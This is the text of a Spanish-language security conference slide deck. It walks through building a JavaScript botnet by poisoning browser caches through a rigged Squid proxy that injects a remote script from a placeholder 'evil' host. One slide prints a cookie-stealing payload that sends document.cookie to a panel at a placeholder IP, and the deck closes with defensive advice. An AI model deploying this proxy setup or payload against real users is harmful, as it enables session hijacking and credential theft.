Owning "bad" guys {and mafia} with Javascript botnets
Chema Alonso & Manu “The Sur”
¡Qué se infecten
ellos!
Man in the Middle• Interceptación de comunicaciones entre
clientes y servidores• Canal comprometido … p0wned seguro• Red:– ARP Spoofing– Rogue DHCP(6)– ICMPv6 Sppofing, SLAAC
• DNS Spoofing
Man in the Browser
• Plugins para interceptar navegación– BHO– Addons
• Acceso a todo el navegador– Passwords– Código
• Troyanos Bancarios– “Tengo un ruso en mi IE”
JavaScript in the Middle• Envenenamiento de la caché del navegador• No es permanente:
– Si se borra la caché, se elimina la infección• Todo archivo cacheado se usa si no ha expirado• Permiten introducir código javascript remoto• Acceso a:
– Cookies• Salvo HTTPOnly (more or less)
– Código HTML– Campos introducidos en formularios– URL– Ejecución de código remoto– …
Google Analytics js y malware
¿Cómo meterlo?
• XSS Permanentes• Owneando HTTP Servers• Ataques Man In the middle de red• Ataques a memcache• Imaginación….
- Framework para infectar la caché de navegadores- Inyecta un javascript en cliente- Ese javascript va incluyendo los mismos payloads- http://beefproject.com - Muy conocido
¿Cómo hacer una Botnet usando Javascript?
¿TOR?
Fácil, Fácil….
Cómprate un Server barato, barato
Monta un Proxy con SQUIDGET / HTTP/1.1Host: www.web.com
GET / HTTP/1.1Host: www.web.com
ResponseHome.html
ResponseHome.html
GET /a.jsp HTTP/1.1Host: www.web.com
GET /a.jsp HTTP/1.1Host: www.web.com
Responsea.jsp
Responsea.Jsp + pasarela.jsinclude http://evil/payload.js
GET /payload.js HTTP/1.1Host: evil
Configura squid y haz que no expiren
Squid.conf: Activar URL rewrite program
.htaccess: Que no expiren los objetos de Apache
Infecta todos los .js
Inyecta tu javascript en el cliente
Distribuye tu Proxy
Deja que Internet haga el resto
Prepara Payloads: 1 robar cookiesdocument.write(“
<img id='domaingrabber' src='http://X.X.X.X/panel/
domaingrabber.php?id=0.0.0.0&domain="+document.domain+"&location="+document.location+"&cookie="+document.cookie+"'
style='display:none;'/>");
Prepara Payloads 2: robar forms
Disfruta
¿Quién usa esto?
Mafias: El Nigeriano
Mafias: El Nigeriano
Mafias: El Nigeriano
Mafias: El Nigeriano
Mafias: El Nigeriano
Mafias: Depredadores
Mafias: Depredadores
Mafias: Depredadores
Mafias: Depredadores
Mafias: Depredadores
Mafias: Depredadores
Mafias: Depredadores
Estafador: El pobre perro
Estafador: El pobre perro
Psicopatas
Preocupados por el anonimato
Preocupados por el anonimato
El del business de leer
El hacker…
… que estaba hackeando…
… que estaba hackeado
Intranet
Y por supuesto Pr0n
Pr0n
Prepara Payloads: infecta webs
Ataque dirigido a sitios
• Selección objetivo – Banco– Red Social– Intranet
• Analiza los js que carga• Payload:– Inclusión de payloads en cualquier página que
navegue.
Demo
Protecciones
• Cuidado con los mitm– Proxy– Redes TOR
• Política de descontaminación
• Navega sin caché• VPNs no son protección
Recommended